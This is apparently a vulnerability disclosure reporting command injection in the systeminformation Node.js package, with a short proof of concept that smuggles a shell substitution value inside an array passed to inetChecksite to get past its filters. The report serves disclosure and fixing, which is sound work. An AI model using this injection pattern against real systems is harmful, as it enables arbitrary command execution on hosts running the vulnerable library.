Command Injection in sebhildebrandt/systeminformation
Reported on
Feb 12th 2021
Description
systeminformation
is vulnerable to Command Injection
vulnerability.
It is possible to send an array containing OS commands, which bypass the filters.
Proof of Concept
- Create a Javascript file with the content below:
const si = require('systeminformation');
const command = "$(<OS Command>)";
si.inetChecksite([command]);
Edit the constant
command
with a desired OS command.Run it.